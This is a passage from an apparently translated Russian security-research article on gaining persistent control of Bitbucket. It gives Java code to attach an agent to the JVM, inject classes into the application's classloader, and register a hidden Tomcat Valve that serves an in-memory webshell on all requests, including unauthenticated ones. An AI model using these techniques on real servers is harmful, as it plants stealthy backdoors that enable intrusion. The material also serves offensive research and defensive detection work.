\u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u0432\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0444\u0430\u0439\u043b\u0430 \u0438\u0437 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e JDK:<\/p>\n<ul>\n<li>\n<p>Java Attach API \u0432 \u0444\u0430\u0439\u043b\u0435 tools.jar   <\/p>\n<\/li>\n<li>\n<p>\u041d\u0438\u0437\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u0430\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f libattach (libattach.dll \u0438\u043b\u0438 libattach.so)   <\/p>\n<\/li>\n<\/ul>\n<p>\u0417\u0430\u0442\u0435\u043c, \u044d\u0442\u0438 \u0434\u0432\u0430 \u0444\u0430\u0439\u043b\u0430 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043d\u0430 \u0434\u0438\u0441\u043a, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0443\u0442\u044c \u043a \u043a\u043b\u0430\u0441\u0441\u0430\u043c \u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430\u043c \u043d\u0438\u0437\u043a\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f:<\/p>\n<pre><code class=\"java\">private static void prepare() throws Exception {   try {     Class.forName(\"com.sun.tools.attach.VirtualMachine\");   } catch (Exception e) { \/\/ if libattach is not present\/loaded     String parentPath = new File(getCurrentJarPath()).getParent();     String finalPath = parentPath + \"\/tools.jar\";      ClassLoader loader = ClassLoader.getSystemClassLoader();      \/\/ adjust low-level libraries path     Field field = ClassLoader.class.getDeclaredField(\"sys_paths\");     field.setAccessible(true);     List&lt;String&gt; newSysPaths = new ArrayList&lt;&gt;();     newSysPaths.add(parentPath);     newSysPaths.addAll(Arrays.asList((String[])field.get(loader)));     field.set(loader, newSysPaths.toArray(new String[0]));      \/\/ add tools.jar to the class path     URLClassLoader urlLoader = (URLClassLoader) loader;     Method addURLMethod = URLClassLoader.class.getDeclaredMethod(\"addURL\", URL.class);     addURLMethod.setAccessible(true);     File toolsJar = new File(finalPath);     if (!toolsJar.exists())        throw new RuntimeException(toolsJar.getAbsolutePath() + \" does not exist\");     addURLMethod.invoke(urlLoader, new File(finalPath).toURI().toURL());   } }<\/code><\/pre>\n<p>\u041e\u0434\u043d\u0430\u043a\u043e, \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u043f\u0443\u0442\u0438 \u043a \u043a\u043b\u0430\u0441\u0441\u0443 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e addURL \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 Java, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 9, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0431\u043e\u043b\u044c\u0448\u0435 <a href=\"https:\/\/github.com\/AdoptOpenJDK\/openjdk-jdk9\/blob\/f00b63d24697cce8067f468fe6cd8510374a46f5\/jdk\/src\/java.base\/share\/classes\/jdk\/internal\/loader\/ClassLoaders.java#L164\" rel=\"noopener noreferrer nofollow\">\u043d\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442<\/a> URLClassLoader.<\/p>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0430\u0433\u0435\u043d\u0442\u0430 Java \u0432 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 JVM, \u043c\u0435\u0442\u043e\u0434 agentmain \u043a\u043b\u0430\u0441\u0441\u0430 Agent-Class \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0437\u0432\u0430\u043d \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u0432\u043d\u0443\u0442\u0440\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430.<\/p>\n<p><strong>\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f BitBucket<\/strong>   <\/p>\n<p>\u0414\u043b\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 Bitbucket \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u041e\u0434\u043d\u0430\u043a\u043e \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043d\u0430\u0448\u0438 \u043a\u043b\u0430\u0441\u0441\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u0443\u0434\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 Bitbucket, \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u044b \u0432 \u0440\u0430\u043d\u0442\u0430\u0439\u043c\u0435.<\/p>\n<p>\u0415\u0441\u0442\u044c \u0434\u0432\u0430 \u0441\u043f\u043e\u0441\u043e\u0431\u0430 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u044d\u0442\u043e:<\/p>\n<ul>\n<li>\n<p>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c Instrumentation API \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0430 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0438 \u043f\u0430\u0442\u0447\u0438\u043d\u0433\u0430 \u0431\u0430\u0439\u0442-\u043a\u043e\u0434\u0430.<\/p>\n<\/li>\n<li>\n<p>\u0420\u0443\u0447\u043d\u043e\u0439 \u043f\u043e\u0438\u0441\u043a \u043d\u0443\u0436\u043d\u043e\u0433\u043e ClassLoader \u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043d\u043e\u0432\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0432\u0440\u0443\u0447\u043d\u0443\u044e.<\/p>\n<\/li>\n<\/ul>\n<p>\u041f\u0435\u0440\u0432\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 \u0443\u0436\u0435 \u043e\u043f\u0438\u0441\u0430\u043d \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f\u0445 \u0432 <a href=\"https:\/\/fahdshariff.blogspot.com\/2011\/08\/changing-java-library-path-at-runtime.html\" rel=\"noopener noreferrer nofollow\">\u0431\u043b\u043e\u0433\u0430\u0445 <\/a>\u0438 <a href=\"https:\/\/github.com\/threedr3am\/ZhouYu\/tree\/main\" rel=\"noopener noreferrer nofollow\">\u043f\u0440\u043e\u0435\u043a\u0442\u0430\u0445<\/a>.<\/p>\n<p>\u042d\u0442\u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442\u0441\u044f \u043d\u0430 <a href=\"https:\/\/docs.oracle.com\/javase%2F7%2Fdocs%2Fapi%2F%2F\/java\/lang\/instrument\/ClassFileTransformer.html\" rel=\"noopener noreferrer nofollow\">Transformer <\/a>Instrumentation API \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0431\u0430\u0439\u0442-\u043a\u043e\u0434. \u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d \u0432\u0442\u043e\u0440\u043e\u0439, \u043c\u0435\u043d\u0435\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u0439, \u0432\u0430\u0440\u0438\u0430\u043d\u0442, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d \u043d\u0435 \u043c\u0435\u0448\u0430\u0435\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u043c \u043a\u043b\u0430\u0441\u0441\u0430\u043c. \u041e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u0438\u0434\u0435\u044f \u2014 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043d\u043e\u0432\u0443\u044e Java-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c Maven, Gradle \u0438\u043b\u0438 \u0432\u0440\u0443\u0447\u043d\u0443\u044e, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u043c\u043f\u043e\u0440\u0442\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 Bitbucket, \u043a\u0430\u043a \u0432\u043d\u0435\u0448\u043d\u0438\u0435. \u042d\u0442\u0430 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0442\u044c Bitbucket, \u0432\u044b\u0437\u044b\u0432\u0430\u044f \u0435\u0433\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b, \u0438 \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c\u0441\u044f \u0432 \u0440\u0430\u043d\u0442\u0430\u0439\u043c \u0438\u0437 ClassLoader.<\/p>\n<p>\u0427\u0442\u043e\u0431\u044b \u043d\u0430\u0439\u0442\u0438 \u043d\u0443\u0436\u043d\u044b\u0439 ClassLoader, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0439 \u043a\u043b\u0430\u0441\u0441\u044b Bitbucket \u0438 \u0435\u0433\u043e \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438, \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u043f\u0440\u0438\u043c\u0435\u0440:<\/p>\n<pre><code class=\"java\">private static ClassLoader lookup (Instrumentation i) {   for (Class klass : i.getAllLoadedClasses()) {     if (!klass.getName().equals(\"org.apache.catalina.valves.ValveBase\")) continue;     return klass.getClassLoader();   }   return null; }  \/\/ running on bitbucket public static void agentmain (String args, Instrumentation i) {   ClassLoader targetLoader = lookup(i); }<\/code><\/pre>\n<p>\u0417\u0430\u0442\u0435\u043c \u043d\u0430\u043c \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u043a\u043b\u0430\u0441\u0441\u044b \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0438\u0445 \u0431\u0430\u0439\u0442-\u043a\u043e\u0434\u0430. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043c\u044b \u0441\u043e\u0437\u0434\u0430\u0435\u043c \u043a\u043b\u0430\u0441\u0441 \u0432 \u043d\u0430\u0448\u0435\u043c \u0430\u0433\u0435\u043d\u0442\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 ClassLoader \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 targetLoader \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044f, \u0447\u0442\u043e\u0431\u044b \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0442\u044c \u043a\u043b\u0430\u0441\u0441\u044b \u0431\u0435\u0437 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0434\u0435\u043b\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c private \u043c\u0435\u0442\u043e\u0434 defineClass:<\/p>\n<pre><code class=\"java\">private static class AgentLoader extends ClassLoader {   private static final byte[][] classBytecodes = new byte[][] {     new byte[]{ \/* custom class bytecode *\/ }     \/* classes bytecode *\/   };      private static final String[] classNames = new String[] {     \"org.my.project.CustomClass\"   };      public void defineClasses() throws Exception {     for (int = 0; i &lt; classBytecodes.length; ++i) {       defineClass(classNames[i], classBytecodes[i], 0,         classBytecodes[i].length);     }   } }  \/\/ [...]  \/\/ running on bitbucket public static void agentmain (String args, Instrumentation i) {   try {     ClassLoader targetLoader = lookup(i);     AgentLoader loader = new AgentLoader(targetLoader);     loader.defineClasses();   } catch (Exception e) {     e.printStackTrace();   } }<\/code><\/pre>\n<p>\u041e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u0431\u043e\u043b\u0435\u0435 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u044d\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u2014 \u0441\u043e\u0437\u0434\u0430\u0442\u044c URLClassLoader \u0441 targetLoader \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043a\u043b\u0430\u0441\u0441\u0430 \u0438\u0437 \u043a\u0430\u0441\u0442\u043e\u043c\u043d\u043e\u0439 JAR-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438.<\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c, \u043a\u043e\u0433\u0434\u0430 \u043d\u0430\u0448\u0438 \u043a\u043b\u0430\u0441\u0441\u044b \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u044b \u0432 ClassLoader, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0438\u043c\u043f\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0437 \u043d\u0438\u0445 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 Bitbucket.<\/p>\n<p>\u0417\u0430\u0442\u0435\u043c, \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u041a\u0430\u043a \u0430\u0432\u0442\u043e\u0440\u044b \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u0438\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u044b\u0447\u043d\u043e \u0445\u0440\u0430\u043d\u044f\u0442\u0441\u044f \u0432 ThreadLocals. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u0434\u0445\u043e\u0434\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043d\u0430\u0448 \u043a\u043e\u0434 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u043f\u043e\u0442\u043e\u043a\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0432\u0435\u0431-\u0437\u0430\u043f\u0440\u043e\u0441. \u0427\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c, \u043d\u0430\u043c \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u043d\u0435\u043f\u0440\u0435\u0440\u044b\u0432\u043d\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c ThreadLocals \u0432\u0441\u0435\u0445 \u043f\u043e\u0442\u043e\u043a\u043e\u0432, \u043f\u043e\u043a\u0430 \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u0443\u044e \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f:<\/p>\n<pre><code class=\"java\">package org.my.project; \/\/ [...] import org.springframework.web.context.request.ServletRequestAttributes; \/\/ [...] public class CustomClass implements Runnable {    private static ServletRequestAttributes lookupAttributes() throws Exception {     ServletRequestAttributes attribs = null;     \/\/ Analyzes all thread locals of all threads     \/\/ Stops when a servlet request is being processed     \/\/ to obtain a reference to the web app ctx     while(true) {       Set&lt;Thread&gt; threads = Thread.getAllStackTraces().keySet();       for (Thread t : threads) {         java.lang.reflect.Field fThreadLocals = Thread.class.getDeclaredField(\"threadLocals\");         fThreadLocals.setAccessible(true);          java.lang.reflect.Field fTable = Class.forName(\"java.lang.ThreadLocal$ThreadLocalMap\")           .getDeclaredField(\"table\");         fTable.setAccessible(true);          if(fThreadLocals.get(t) == null) continue;          Object table = fTable.get(fThreadLocals.get(t));         java.lang.reflect.Field fValue = Class.forName(\"java.lang.ThreadLocal$ThreadLocalMap$Entry\")           .getDeclaredField(\"value\");         fValue.setAccessible(true);          int length = java.lang.reflect.Array.getLength(table);         for (int i=0; i &lt; length; ++i) {           Object entry = java.lang.reflect.Array.get(table, i);           if(entry == null) continue;           Object value = fValue.get(entry);           if(value == null) continue;           if (value instanceof WeakReference) {             value = ((WeakReference&lt;?&gt;) value).get();           }           if(value == null) continue;           if (value instanceof SoftReference) {             value = ((SoftReference&lt;?&gt;) value).get();           }           if(value == null) continue;                      \/\/ We've found a ref           if(value.getClass().getName().equals(ServletRequestAttributes.class.getName())) {             attribs = (ServletRequestAttributes) value;             break;           }         }         if (attribs != null) break;       }       if (attribs != null) break;       Thread.sleep(100);     }     return attribs;   }      @Override   public void run() {     try {       ServletContext svlCtx = lookupAttributes().getRequest().getServletContext();       \/\/ TODO reuse ServletContext     } catch(Exception ignored) {     }   }    static {     new Thread(new CustomClass()).start();   } }<\/code><\/pre>\n<p>\u041f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0439 \u043a\u043b\u0430\u0441\u0441 CustomClass \u0438\u043c\u0435\u0435\u0442 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0442\u043e\u0440 \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0431\u043b\u043e\u043a\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f, \u043a\u043e\u0433\u0434\u0430 \u043a\u043b\u0430\u0441\u0441 \u0431\u0443\u0434\u0435\u0442 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d \u0432 \u0430\u0433\u0435\u043d\u0442\u0435. \u042d\u0442\u043e\u0442 \u0431\u043b\u043e\u043a \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u043d\u043e\u0432\u044b\u0439 \u043f\u043e\u0442\u043e\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0435\u043f\u0440\u0435\u0440\u044b\u0432\u043d\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442 ThreadLocals. \u0421\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043c\u0435\u0442\u043e\u0434 LookupAttributes \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442 \u0441\u0432\u043e\u044e \u0440\u0430\u0431\u043e\u0442\u0443, \u043a\u043e\u0433\u0434\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 ServletRequestAttributes \u0438 \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0438\u0437 \u043d\u0435\u0433\u043e \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 ServletContext. \u0427\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u0443\u0441\u043a\u043e\u0440\u0438\u0442\u044c, \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043d\u043e\u0432\u044b\u0439 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 Bitbucket.<\/p>\n<p>\u0418\u0437 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430 ServletContext \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438:<\/p>\n<ul>\n<li>\n<p>\u041f\u0435\u0440\u0435\u0445\u0432\u0430\u0442 \u0432\u0441\u0435\u0445 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432, \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0432 \u043d\u043e\u0432\u044b\u0439 Valve \u043d\u0430 Embedded Tomcat   <\/p>\n<\/li>\n<li>\n<p>\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 Spring Bitbucket   <\/p>\n<\/li>\n<\/ul>\n<p>\u0427\u0442\u043e\u0431\u044b \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0432\u0441\u0435 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0432\u0435\u0431-\u0448\u0435\u043b\u043b \u0432 \u043f\u0430\u043c\u044f\u0442\u0438, \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u043a\u043e\u0434:<\/p>\n<pre><code class=\"java\">public static class CustomValve extends ValveBase {   \/\/ [...]   @Override   public void invoke(Request request, Response response) throws IOException, ServletException {     try {       \/\/ TODO parse request and send a response from the in-memory webshell     } catch (Exception ignored) {     } finally {       \/\/ forward to the next Valve       if (this.getNext() != null) {         this.getNext().invoke(request, response);       }     }   }   \/\/ [...] }  private void injectValve(ServletContext svlCtx) {   \/\/ Intercepts all requests (including pre-auth requests)   WebappClassLoaderBase lbase = (WebappClassLoaderBase) svlCtx.getClassLoader();   Field fResources = WebappClassLoaderBase.class.getDeclaredField(\"resources\");   fResources.setAccessible(true);   StandardContext ctx = (StandardContext) ((WebResourceRoot)fResources.get(lbase))       .getContext();    \/\/ Already injected ?   for (Valve valve: ctx.getParent().getPipeline().getValves()) {     if(valve.getClass().getName() == CustomValve.class.getName())       return;   }    ctx.getParent().getPipeline().addValve(new CustomValve()); }<\/code><\/pre>\n<p>\u0414\u0440\u0443\u0433\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u2014 \u043f\u043e\u0438\u0441\u043a \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430. \u041a\u0430\u0436\u0434\u044b\u0439 \u043f\u043e\u0442\u043e\u043a \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u043e\u043c \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430, \u0438 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 Tomcat, \u043f\u0440\u0438 \u043f\u043e\u0438\u0441\u043a\u0435 \u0441\u0440\u0435\u0434\u0438 \u0432\u0441\u0435\u0445 \u043f\u043e\u0442\u043e\u043a\u043e\u0432 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043d\u0430\u0439\u0442\u0438 WebappClassLoaderBase.<\/p>\n<pre><code class=\"java\">Set&lt;Thread&gt; threads = Thread.getAllStackTraces().keySet(); for (Thread t : threads) {     cl = t.getContextClassLoader();     if(WebappClassLoaderBase.class.isInstance(cl)){         return cl;     } }<\/code><\/pre>\n<p>\u0423 \u044d\u0442\u043e\u0433\u043e \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0435\u0441\u0442\u044c \u043f\u043e\u043b\u0435 resources:<\/p>\n<pre><code class=\"java\">public abstract class WebappClassLoaderBase extends URLClassLoader implements ... { [...]     protected WebResourceRoot resources = null;<\/code><\/pre>\n<p>\u0418\u0437 \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u043b\u044f \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c StandardContext, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u043c \u043f\u0440\u0438\u043c\u0435\u0440\u0435.<\/p>\n<pre><code class=\"java\">public class StandardRoot extends LifecycleMBeanBase implements WebResourceRoot { [...]     private Context context; [...]     public Context getContext() {         return this.context;     }<\/code><\/pre>\n<p>\u0427\u0442\u043e \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f Spring \u0432 Bitbucket, \u044d\u0442\u043e \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 \u043a\u043b\u0430\u0441\u0441\u0430 WebApplicationContext, \u0438 \u0435\u0433\u043e \u043c\u043e\u0436\u043d\u043e 